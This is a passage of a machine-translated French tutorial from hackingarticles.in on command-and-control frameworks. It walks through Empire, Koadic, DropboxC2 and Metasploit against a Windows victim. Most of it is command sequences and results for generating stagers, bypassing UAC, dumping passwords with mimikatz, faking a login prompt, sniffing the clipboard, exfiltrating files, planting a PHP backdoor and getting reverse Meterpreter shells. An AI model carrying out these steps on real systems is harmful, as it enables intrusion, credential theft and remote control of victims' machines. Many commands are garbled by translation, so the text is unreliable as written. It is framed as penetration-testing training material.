contactent ces résolveurs et sont redirigées par eux.
- Communication bidirectionnelle
Ces systèmes infectés peuvent ensuite renvoyer la sortie de ces commandes via ce canal de service Web.
Le trafic de retour peut se produire de diverses manières, en fonction du service Web utilisé. Par
exemple, le trafic de retour peut prendre la forme d'un système compromis publiant un commentaire
sur un forum, émettant une demande d'extraction vers un projet de développement, etc.
- Communication à sens unique
Ces systèmes infectés peuvent choisir de renvoyer la sortie de ces commandes via un autre
canal C2, y compris vers un autre service Web distinct.

www.hackingarticles.in Page | 34
Cadres de commandement et de contrôle

Empire

Empire est un framework de post-exploitation. C'est un agent PowerShell pur, centré uniquement sur Python
avec des communications cryptographiquement sécurisées avec l'ajout d'une architecture flexible. Empire a les
moyens d'exécuter des agents PowerShell sans avoir besoin de PowerShell.exe. Il peut rapidement utiliser des
modules post-exploitables, qui couvrent une vaste gamme allant des enregistreurs de frappe aux mimikatz, etc.
Ce framework est une combinaison des projets PowerShell Empire et Python Empire, ce qui le rend convivial et
pratique. PowerShell Empire est sorti en 2015 et Python Empire en 2016. Il est similaire à Metasploit et
Meterpreter. Mais comme il s'agit d'un outil de commande et de contrôle, il vous permet de contrôler un PC
beaucoup plus efficacement.

Importance

PowerShell offre de nombreux avantages offensifs, notamment l'accès complet à .NET, la liste blanche des applocks et
l'accès direct à Win32. Il construit également des binaires malveillants en mémoire. Il fournit une fonctionnalité C2 et
vous permet d'implanter la deuxième étape après la première. Il peut également être utilisé pour le mouvement latéral.
Et il est pratique car il se développe rapidement par rapport aux autres frameworks. De plus, comme il ne nécessite pas
PowerShell.exe, il vous permet de contourner les antivirus. Par conséquent, il est préférable d'utiliser PowerShell Empire.

Terminologie

Avant de commencer l'action, vous devez savoir ces quatre choses :


Auditeur:L'auditeur est un processus qui écoute une connexion de la machine que nous attaquons. Cela permet
à Empire de renvoyer le butin à l'ordinateur de l'attaquant.
Stageur:Un stager est un extrait de code qui permet à notre code malveillant d'être exécuté via l'agent sur l'hôte
compromis.
Agent:Un agent est un programme qui maintient une connexion entre votre ordinateur et l’hôte
compromis.
Module:Ce sont eux qui exécutent nos commandes malveillantes, qui peuvent récolter des informations d’identification et
augmenter nos privilèges comme mentionné ci-dessus.

www.hackingarticles.in Page | 36
Installation

Vous pouvez télécharger Empire depuisici Clonez la commande à partir du lien hypertexte fourni pour GitHub ou utilisez
simplement Google.
Utilisez la commande suivante pour le télécharger :

git clone //github.com/EmpireProject/Empire.git

Une fois le téléchargement lancé et terminé, suivez les étapes indiquées directement ci-dessous afin de l'installer :

cd Empire/
ls
configuration du CD/

ls
. /install.sh

Attendez que l'installation soit terminée. Cela peut prendre quelques secondes. Un mot de passe vous sera
demandé.

www.hackingarticles.in Page | 37
Dans mon cas, mon mot de passe étaittour.
Une fois l'installation terminée, déplacez-vous dans un répertoire et exécutez empire en utilisant./empire. Utilisez
maintenantAidecommande car elle ouvre toutes les options essentielles requises initialement.

www.hackingarticles.in Page | 38
Selon le flux de travail, nous devons d'abord créer un écouteur sur notre machine locale. Tapez la
commande suivante :

auditeurs

Après avoir exécuté la commande ci-dessus, il sera indiqué qu'aucun écouteur n'est actuellement actif, mais ne vous inquiétez pas, nous
sommes maintenant dans l'interface d'écoute. Donc, dans cette interface d'écoute, saisissez :

uselistener <tab> <tab>

La commande ci-dessus liste tous les écouteurs que l'on peut utiliser, tels que dbx, http, http_com, etc.
L'écouteur le plus populaire et le plus utilisé est http et nous l'utiliserons dans notre pratique. Pour ce
type :

utiliser l'écouteur http

Cette commande crée un écouteur sur le port local 80. Si le port 80 est déjà occupé par un service comme Apache,
assurez-vous d'arrêter ce service car cet écouteur étant un écouteur http ne fonctionnera que sur le port 80. Maintenant,
pour voir tous les paramètres que vous devez fournir dans ce type d'écouteur :

informations

Comme vous pouvez le voir sur l'image, il existe une variété de paramètres que vous pouvez utiliser pour modifier ou
personnaliser votre écouteur. Essayons de changer le nom de notre écouteur, car cela permet de se souvenir de tous les
écouteurs activés ; s'ils sont activés en masse. Pour cela, tapez :

définir le test de nom

La commande ci-dessus changera le nom des auditeurs de http à test.

www.hackingarticles.in Page | 39
Habituellement, cet écouteur prend automatiquement l'IP de l'hôte local mais, juste au cas où, vous pouvez utiliser la commande suivante
pour définir votre IP :

définir l'hôte //192.168.1.107


exécuter

La commande ci-dessus exécutera l'écouteur. Revenez ensuite en arrière et utilisez l'écouteur PowerShell comme indiqué dans l'image.

Tapez maintenant « back » pour revenir à l’interface d’écoute afin que nous puissions exécuter nos modules.

www.hackingarticles.in Page | 40
Utilisez la commande suivante pour voir tous les modules fournis par l'empire :

usestager <tabt> <tab>

Comme vous pouvez le voir sur l'image ci-dessous, il existe de nombreux modules pour Windows et iOS, ainsi que des modules multiples
pouvant être utilisés sur n'importe quelle plate-forme. Nous utiliserons le lanceur bat pour créer des logiciels malveillants et exploiter le
PC de nos victimes dans notre tutoriel. Et pour ce type :

utiliser Windows/launcher_bat

Ensuite, tapez à nouveau 'info' afin de voir tous les paramètres requis par l'exploit. Après examen, vous verrez que nous n'avons
besoin que de fournir un écouteur. Par conséquent, tapez :

définir le test d'écoute


exécuter

www.hackingarticles.in Page | 41
Les deux commandes ci-dessus exécuteront notre exploit après avoir défini le test d'écoute et créé /tmp/launcher.bat. Utilisez le
serveur Python pour exécuter ce fichier sur le PC des victimes. Au fur et à mesure que le fichier s'exécutera, vous aurez une
session. Pour vérifier votre type de session :

agents

Avec la commande ci-dessus, vous pouvez voir que vous avez une session activée. Vous pouvez changer le nom
de votre session car le nom donné par défaut est assez compliqué et difficile à retenir. Pour ce faire, tapez :

renommer ZAF3GT5W raajpc

Utilisez les éléments suivants pour accéder à la session :

interagir avec raajpc

Une fois que vous avez obtenu l'accès à la session, essayez d'obtenir la session administrateur en utilisant la commande
suivante :

contournement http

Après avoir exécuté la commande bypassuac, une autre session s'ouvre. Renommez également cette session en tapant :

renommer HE3K45LN adminraj

www.hackingarticles.in Page | 42
Allons-y

interagissez avec adminraj maintenant.


interagir avec adminraj

<tab><tab>nous aide à visualiser toutes les options du shell. Il existe plusieurs options qui sont très utiles pour
l'exploitation ultérieure. Comme info, job, list, etc. comme indiqué dans l'image.
Infos :pour tous les détails de base comme l'IP, le nonce, la gigue, l'intégrité, etc.

www.hackingarticles.in Page | 43
Maintenant, si vous utilisez la commande « help », vous pourrez voir toutes les commandes exécutables.

Essayons de courirmimikatzpour obtenir le mot de passe de l'utilisateur. Depuismimikatzne fonctionnera pas sur un shell d'utilisateur
invité normal et ne fonctionnera que sur le shell d'administrateur ; cela prouve également que nous devons obtenir un accès
administrateur pour pouvoir utiliser mimikatz.
Hmmmm !! Et le mot de passe est « 123 » pour l’utilisateur raj.

www.hackingarticles.in Page | 44
Crédits

La commande ci-dessus videra les informations d'identification ou le mot de passe de n'importe quel utilisateur à la fois en texte brut et dans son hachage.

Une autre commande importante est lacoquillecommande.


Pour utiliser le shell de la victime afin d'exécuter les commandes Microsoft Windows appropriées, nous utilisons cette fonctionnalité. Par

exemple : la commande cmd only d'une telle fenêtre estNetstat

shell netstat -ano

Et comme prévu, la commande ci-dessus nous a montré tous les ports actuellement en fonctionnement sur la machine !

www.hackingarticles.in Page | 45
Maintenant, puisque le répertoire shell par défaut dans Windows est «C:/windows/system32"; essayons de passer à un autre
répertoire et essayons de télécharger un fichier à partir de là et aussi, nous pouvons télécharger quelque chose à cet endroit,
par exemple, nous pouvons télécharger une porte dérobée ! Maintenant, utilisez les commandes suivantes pour cela :

shell cd C:\Users\raj\Desktop
répertoire shell
télécharger 6.png

La commande ci-dessus téléchargera une image appelée 6.png depuis le bureau de la fenêtre vers le « répertoire de
téléchargements d'Empire »

télécharger /root/Desktop/revshell.php

Ici, nous pouvons télécharger n'importe quelle porte dérobée, avec l'aide de la commande ci-dessus, nous téléchargeons une porte dérobée PHP du

bureau de Kali vers le bureau de la victime et nous pouvons même invoquer ce fichier puisque nous avons l'accès au shell !

www.hackingarticles.in Page | 46
C'est ici que iront les fichiers téléchargés :
Répertoire Empire/téléchargements/<nom de l'agent>/<emplacement du shell de l'agent>

répertoire shell

La commande ci-dessus prouve que nous avons effectivement téléchargé revshell.php


Et voilà ! Revshell.php sur le bureau de la machine de la victime qui contient notre fichier de porte dérobée.

www.hackingarticles.in Page | 47
Nous avons déjà vu la démo de base d'empire et ses différents termes utilisés ainsi que la manière de les utiliser. Il
existe également un autre terme, à savoir usemodule. Enfin, voyons comment l'utiliser.

usemodule <onglet> <onglet>

La commande vous montrera tous les modules disponibles et prêts à être utilisés comme indiqué dans l'image ci-dessous :

www.hackingarticles.in Page | 48
Voici une petite démonstration de la façon d'utiliser usemodule. Type :

utilisez le module trollsploit/message


définissez MsgText vous avez été piraté
exécutez
et

L'utilisation du module ci-dessus affichera un message sur le PC des victimes comme indiqué dans l'image ci-dessous :

www.hackingarticles.in Page | 49
Koadique

Koadic, ou COM Command & Control, est un rootkit post-exploitation Windows similaire à d'autres outils de test
de pénétration tels que Meterpreter et Powershell Empire. La principale différence est que Koadic effectue la
plupart de ses opérations à l'aide de Windows Script Host (alias JScript/VBScript), avec une compatibilité dans le
noyau pour prendre en charge une installation par défaut de Windows 2000 sans service packs (et
potentiellement même des versions de NT4) jusqu'à Windows 10.
Il est possible de servir des charges utiles entièrement en mémoire de l'étape 0 à au-delà, ainsi que d'utiliser des
communications cryptographiquement sécurisées via SSL et TLS (selon ce que le système d'exploitation de la victime a
activé).
Koadic tente également d'être compatible avec Python 2 et Python 3. Cependant, comme Python 2 sortira
dans un avenir pas trop lointain, nous vous recommandons d'utiliser Python 3 pour une expérience
optimale.

Installation de Koadic

Il doit d'abord être téléchargé et installé pour pouvoir commencer à utiliser Koadic. Exécutez la commande suivante pour
télécharger Koadic depuis github et prenez également soin de ses outils de dépendance lors de l'installation de Koadic.

git clone https://github.com/zerosum0x0/koadic.git cd


koadic
apt-get install python3-pip pip3
install -r requirements.txt . /koadic

www.hackingarticles.in Page | 50
Utilisation de Koadic

Cet outil repose principalement sur un stager et un implant. Il contient 6 stager et 41 implants. Stageur:Les Stagers
accrochent les zombies ciblés et vous permettent d'utiliser des implants. Implants:Les implants commencent à
fonctionner sur les zombies.
Une fois l'installation terminée, vous pouvez exécuter./koadiquepour démarrer koadic. Exécutez ensuite la commande
la plus utile pour obtenir le synopsis de l'utilisation de koadic. La commande help résume les différentes commandes
disponibles. Les fonctions de Koadic sont similaires à celles d'autres frameworks, tels que Metasploit.

www.hackingarticles.in Page | 51
Pour charger tous les modules disponibles dans le terminal, exécutez «utilisez <tab> <tab>”commande. Cela videra tous les
implants et les stagers disponibles pour l'exécution ou explorera le module stager avec les commandes suivantes :

utiliser stager/js/

Cela vous donnera tous les stagers qui seront utiles pour obtenir la session zombie de la machine cible.

Stagers Koadiques

Le stager nous permet de décrire où tout périphérique zombie accède à la commande et au contrôle Koadic. Certains de
ces paramètres peuvent être visualisés en exécutant la commande info une fois le module sélectionné. Commençons
par charger leStager mshtaen exécutant la commande suivante.
Définissez SRVHOST sur lequel le stager doit appeler la maison et SRVPORT sur le port sur lequel écouter les stagers ou même
vous pouvez définir ENDPOINT pour le nom du fichier malveillant, puis entrer run pour exécuter.

définir SRVHOST 192.168.1.107


définir ENDPOINT ventes
courir

www.hackingarticles.in Page | 52
Exécutez maintenant la commande ci-dessous pour exécuter le fichier malveillant généré ci-dessus.

mshta //192.168.1.107:9999/ventes

Une fois que le fichier de vente malveillant sera exécuté sur la machine cible, vous aurez une connexion
Zombie comme Metasploit.

zombies 0

www.hackingarticles.in Page | 53
Augmentation des privilèges avec les implants koadiques

Une fois que vous avez une session zombie, vous pouvez utiliser des modules d'implant pour l'escalade des privilèges qui inclut le
contournement de l'UAC.
Koadic contient tous les modules permettant de contourner l'UAC des plateformes Windows 7, 8, 10 afin de pouvoir extraire des
informations au niveau du système. Nous pouvons charger ce module en exécutant la commande ci-dessous dans Koadic.

utiliser implant/elevate/bypassuac_eventvwr

Ensuite, nous allons définir la valeur de la charge utile pour exécuter le module. Vous pouvez utiliser la valeur par défaut du zombie « ALL
» pour attaquer tous les zombies ou définir le zombie particulier si vous souhaitez attaquer. Utilisez la commande ci-dessous pour ajuster
la valeur de la charge utile et le zombie.

définir PAYLOAD 0
définir ZOMBIE 0
courir

www.hackingarticles.in Page | 54
Post-Exploitation

Générer une fausse invite de connexion

Vous pouvez lancer une attaque de phishing avec Koadic et suivre les identifiants de connexion de la victime. Nous pouvons charger ce
module en exécutant la commande ci-dessous dans Koadic.

utiliser l'implant/phish/password_box
set ZOMBIE 1
courir

Cela lancera un écran d'invite de connexion sur la machine de la victime.

Par conséquent, si la victime entre son mot de passe dans une fausse invite, vous obtenez le mot de passe dans le shell de
commande et de contrôle de Koadic.

www.hackingarticles.in Page | 55
Activer Rdesktop

Tout comme metasploit, vous pouvez également activer ici le service de bureau à distance sur la machine de la victime avec le
module d'implant suivant.

utiliser implant/manage/enable_rdesktop
définir ZOMBIE 1
courir

Comme vous pouvez le constater dans l'image ci-dessous, le travail 4 est terminé avec succès et a activé le service
rdesktop.

Nous pouvons assurer le service rdesktop avec l'aide de nmap pour identifier l'état du port 3389.

nmap -p3389 192.168.1.103

Hmm !! Vous pouvez donc observer à partir du résultat de nmap que nous avons trouvé que le port 3389 est ouvert, ce qui
signifiebureau en lignele service est activé.

www.hackingarticles.in Page | 56
Injecter Mimikatz

Il vous permettra d'injecter mimikatz dans la machine de la victime pour extraire le mot de passe de l'intérieur de la machine.
Nous pouvons charger ce module en exécutant la commande ci-dessous dans Koadic.

utiliser implant/inject/mimikatz_dotnet2js
définir ZOMBIE 1
courir

En conséquence, il va vider leHachage NTLMmot de passe que nous devons déchiffrer. Enregistrez la valeur NTLM dans un
fichier texte.

Ensuite, nous utiliserons John the Ripper pour déchiffrer la valeur de hachage, exécutez donc la commande suivante avec le fichier de
hachage comme indiqué ci-dessous :

hachage de John --format=NT

Comme vous pouvez le constater, le mot de passe extrait du fichier de hachage est 123.

www.hackingarticles.in Page | 57
Exécuter la commande

Puisque nous avons un shell hautement privilégié, nous sommes donc libres d'exécuter n'importe quel module d'implant pour l'exploitation post-

production, et nous utilisons maintenant exec_cmd pour exécuter n'importe quelle commande sur le système Windows. Pour charger cet implant,

exécutez la commande ci-dessous.

utiliser implant/manager/exec_cmd

Ensuite, nous définirons la valeur CMD pour exécuter la commande spécifiée avec l'ID Zombie.

définir CMD ipconfig


ensemble ZOMBIE 1
courir

www.hackingarticles.in Page | 58
Obtenir une session Meterpreter à partir d'une session zombie

Si vous avez une session zombie, vous pouvez obtenir une session meterpreter via celle-ci. Générez un fichier malveillant à l'aide
de msfvenom et démarrez le multi-handle, comme nous le faisons toujours dans metasploit.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107


lport=1234 -f exe > shell.exe

Koadic fournit un module d'implant qui vous permet de télécharger n'importe quel fichier à l'intérieur de la machine de la victime si vous
avez des sessions zombies. Pour charger cet implant, exécutez la commande suivante :

utiliser implant/util/upload_file

Définissez maintenant l'emplacement du fichier et l'ID du zombie, puis exécutez le module. Cela téléchargera votre fichier malveillant dans un répertoire

accessible en écriture, c'est-à-dire %TEMP%.

définir LFILE /root/shell.exe


définir ZOMBIE 1
courir

Une fois le travail terminé, utilisez à nouveau exec_cmd pour exécuter le fichier téléchargé à l'aide de ce
module.

utiliser implant/manager/exec_cmd

Ensuite, nous définirons la valeur CMD pour exécuter le fichier shell.exe téléchargé avec l'ID Zombie.

définir CMD %TEMP%/shell.exe


définir ZOMBIE 1
courir

www.hackingarticles.in Page | 59
Une fois que vous aurez exécuté le fichier exe malveillant dans la session zombie Koadic, vous obtiendrez une session
meterpreter dans le framework metasploit comme indiqué ci-dessous :

msf > utiliser exploit/multi/handler msf


exploit(handler) > définir la charge utile
windows/meterpreter/reverse_tcp
msf exploit(handler) > définir rhost IP 192.168.1.107 msf
exploit(handler) > définir lport 1234
exploit msf(gestionnaire) > exploit

Une fois le fichier exécuté sur la machine, nous obtiendrons la session meterpreter de la machine victime comme indiqué ci-
dessous :

www.hackingarticles.in Page | 60
DropboxC2
DBC2 est avant tout un outil de post-exploitation. Il dispose d'un agent exécuté sur la machine cible, d'un
contrôleur exécuté sur n'importe quelle machine, de modules PowerShell et de serveurs Dropbox comme moyen
de communication. Il s'inspire du PowerShell Empire Framework. Cet outil est développé à l'aide de python. Le
mérite du développement de cet outil revient àArno0x0x . Pour cette démonstration particulière,

Attaquant: Kali Linux


Cible:Installation de
Windows 10
Pour commencer, nous avons d’abord besoin de l’outil sur notre machine d’attaque. Pour ce faire, nous allons cloner l’outil directement
depuis GitHub.

clone git https://github.com/Arno0x/DBC2

Après avoir exécuté la commande ci-dessus, nous aurions un répertoire créé sous le nom de DBC2. Maintenant,
nous allons parcourir ce répertoire à l'aide de la commande cd. Après cela, nous allons devoir installer les
dépendances de l'outil. Il existe plusieurs façons de procéder, mais ici, nous utilisons la commande pip avec un
fichier requirements.txt que nous avons cloné à partir de git plus tôt.

cd DBC2/
pip install -r exigences.txt

www.hackingarticles.in Page | 61
Obtenir l'API Dropbox

Désormais, cet outil utilise les serveurs Dropbox comme support pour exécuter les agents sur la machine cible. Pour ce faire, cet
outil nécessite une API Dropbox. Pour cela, créez d'abord un compte surDropbox . Ensuite, après avoir créé le compte, accédez
aux outils de développementici . Une page Web similaire à celle illustrée ci-dessous s'ouvre. Ici, nous allons sélectionner «
Dropbox API ». Ensuite, dans la section type d'accès, nous choisirons « Dossier d'application ». Nommez l'application selon votre
choix. Cliquez ensuite sur le bouton Créer une application pour continuer.

Cela vous mènera à une autre page Web, comme indiqué ci-dessous. Ici, passez à la section O Auth 2 et
Générer un jeton d'accès. Cela fournira l'API Dropbox requise pour cette pratique particulière.

www.hackingarticles.in Page | 62
Copiez le jeton d'accès généré, puis accédez au répertoire que nous avons cloné précédemment. Nous avons ici un
fichier nommé config.py. Nous allons l'ouvrir à l'aide de la commande nano et coller le jeton d'accès comme valeur pour
« defaultAccessToken » comme indiqué dans la capture d'écran ci-dessous.

Exploitation de la cible

Il est maintenant temps d'exécuter l'outil. Vérifiez les autorisations appropriées avant de l'exécuter. Lorsque nous
exécutons l'outil, nous sommes accueillis par une bannière sympa comme celle illustrée ci-dessous. Suivie de quelques
détails sur l'auteur, la version et l'outil. Après cela, il vous demandera un mot de passe principal qui sera utilisé pour
crypter toutes les données entre les agents et le contrôleur. Entrez le mot de passe de votre choix. Il cryptera le mot de
passe saisi et affichera le résultat. Nous pouvons copier le code affiché et l'ajouter au fichier config.py afin qu'il ne
demande plus de mot de passe principal. Après cela, il créera un répertoire entrant à l'intérieur du répertoire que nous
avons cloné précédemment. Il sera utilisé comme tampon pour enregistrer les fichiers de la cible.

python dropboxC2.py

www.hackingarticles.in Page | 63
Cet outil nécessite de télécharger les modules et le stager sur Dropbox avant de continuer. Nous le ferons
en utilisant la commande ci-dessous.

publishStage dbc2_agent.exe

Cela téléchargera un fichier sur Dropbox comme indiqué dans l'image ci-dessous. Ce fichier est chiffré à l'aide du
chiffrement XOR.

www.hackingarticles.in Page | 64
Vérifions maintenant si l’étape est publiée à l’aide de la commande ci-dessous :

listePubliéÉtape

Maintenant que l'étape est téléchargée, utilisons-la pour créer un stager. Nous allons créer un fichier batch. Mais nous pouvons
utiliser de nombreux autres types d'options de stager. Cet outil fournit un stager en macro, oneliner, JavaScript, MS build sct et
bien plus encore. Cette commande créera un stager.bat dans le répertoire tmp. Nous avons envoyé ce fichier bat à notre
machine cible.

Lot par défaut de genStager

Une fois le fichier batch exécuté sur la machine cible, nous serons informés par un message sur le terminal que l'agent a
été trouvé avec l'ID. Nous allons maintenant utiliser la commande list pour voir la liste des agents. Ensuite, nous
copierons l'AgentID et l'utiliserons pour interagir avec la session comme indiqué dans l'image donnée.

liste
utiliser [AgentID]

www.hackingarticles.in Page | 65
Cela créera un fichier sur Dropbox avec l'extension .status comme indiqué dans l'image donnée.

Reniflage du presse-papiers

Nous pouvons obtenir les données du presse-papiers que la cible a dans son presse-papiers. C'est-à-dire les données qu'il/elle a
copiées. Pour ce faire, nous devrons démarrer un sniffer en utilisant la commande clipboardLogger start. Ensuite, attendez que
la cible copie des données. Ensuite, arrêtez le sniffer en utilisant la commande clipboardLogger stop. Après avoir arrêté le
sniffer, le presse-papiers sera enregistré dans un fichier texte à l'intérieur du répertoire entrant.

démarrage du presse-papiersLogger
Arrêt du presse-papiersLogger

www.hackingarticles.in Page | 66
Voyons ce que la cible a copié sur sa machine. Nous allons utiliser la commande cat sur un nouveau
terminal Kali pour lire le fichier comme indiqué dans l'image donnée.

chat /root/DBC2/incoming/clipboardlogger.txt

Capture d'écran

Nous pouvons maintenant également prendre une capture d'écran de la machine cible. Pour ce faire, nous utiliserons la
commande de capture d'écran comme indiqué dans l'image donnée.

capture d'écran

La capture d'écran sera effectuée et stockée dans le répertoire entrant. Nous pouvons voir que la cible
navigue sur un site Web sur sa machine dans l'image donnée.

www.hackingarticles.in Page | 67
Exécution de la commande

Nous pouvons exécuter certaines commandes PowerShell sur la machine cible en utilisant le paramètre cmd. Cet
outil n'offre pas le shell mais il peut exécuter une commande à la fois. Nous tapons donc cmd puis il demande la
commande à exécuter. Ici, nous exécutons la commande dir. Et nous avons la liste des fichiers comme indiqué
dans l'image donnée.

cmd
dir

www.hackingarticles.in Page | 68
Téléchargement de fichier

De plus, nous pouvons télécharger des fichiers depuis la cible. Pour ce faire, nous devrons utiliser la commande getFile
suivie du nom ou du chemin du fichier. Cela téléchargera le fichier depuis la cible vers notre machine attaquante.

getFile partage de texte.txt

L'outil téléchargera le fichier dans le répertoire entrant dont nous avons parlé précédemment. Nous pouvons visualiser le fichier à l'aide
de la commande cat comme indiqué dans l'image ci-dessous.

chat /root/DBC2/entrant/sharetext.txt

www.hackingarticles.in Page | 69
Métasploit
Passons à une approche assez basique. Cette approche est assez détectable par presque tous les outils Antivirus
car la signature du Payload Metasploit est assez courante. Toujours pour comprendre l'attaque de base et pour la
réaliser dans un environnement de laboratoire, nous utiliserons Metasploit pour exploiter notre cible via Marcos.

Pour commencer, nous devons créer une charge utile. Nous utiliserons MSFvenom pour créer la charge utile. Nous
avons utilisé la charge utile reverse_http pour cette démonstration. Nous avons indiqué l'adresse IP locale de la machine
attaquante, c'est-à-dire Kali Linux. Nous devons également fournir un port local sur lequel la session doit être générée.
Après avoir généré la charge utile avec la configuration appropriée pour la charge utile vba, nous copions le contenu de
la charge utile vba, puis passons à la machine cible.

msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.106


lport=1234 -f vba

www.hackingarticles.in Page | 70
utiliser exploit/multi/handler
définir les fenêtres de charge utile/meterpreter/
reverse_https définir lhost 192.168.1.106
définir lport 1234
exploiter

Références

- https://www.hackingarticles.in/dnscat2-application-layer-cc/ https://www.hackingarticles.in/comprehensive-guide-
- on-cryptcat/ https://www.hackingarticles.in/command-and- contrôle-tunnelling-via-icmp/ https://
- www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/ https://www.hackingarticles.in/
- koadic-com-command-control-framework/ https://www.hackingarticles.in/command-and-control-tunnelling-via-
- icmp/ https://www.hackingarticles.in/command-and-control-tunnelling-via-icmp/ https://www.hackingarticles.in/
- koadic-com-command-control-framework/ dans/command-and-control-with-dropboxc2/ https://
- www.hackingarticles.in/multiple-ways-to-exploit-windows-systems-using-macros/ https://attack.mitre.org/tactics/
- TA0011/
-

www.hackingarticles.in Page | 71
REJOIGNEZ NOTRE
PROGRAMMES DE FORMATION

C I
UEZ I
CLIQ DÉBUTANT

Chasse aux bugs Sécurité du réseau


Piratage éthique Essentiel

Test d'intrusion réseau


Test d'intrusion sans fil

AVANCÉ

Burp Suite Pro Web Pro Ordinateur


Services-API Infrastructures VAPT Médecine légale

Test d'intrusion Android


Avancé FCT
Métasploit

EXPERT

Opération Red Team

Élévation des privilèges

APT - Tactiques d'attaque MITRE

Fenêtres
Attaque Active Directory

Linux
Évaluation de la sécurité MSSQL

www.ignitetechnologies.in

Vous aimerez peut-être aussi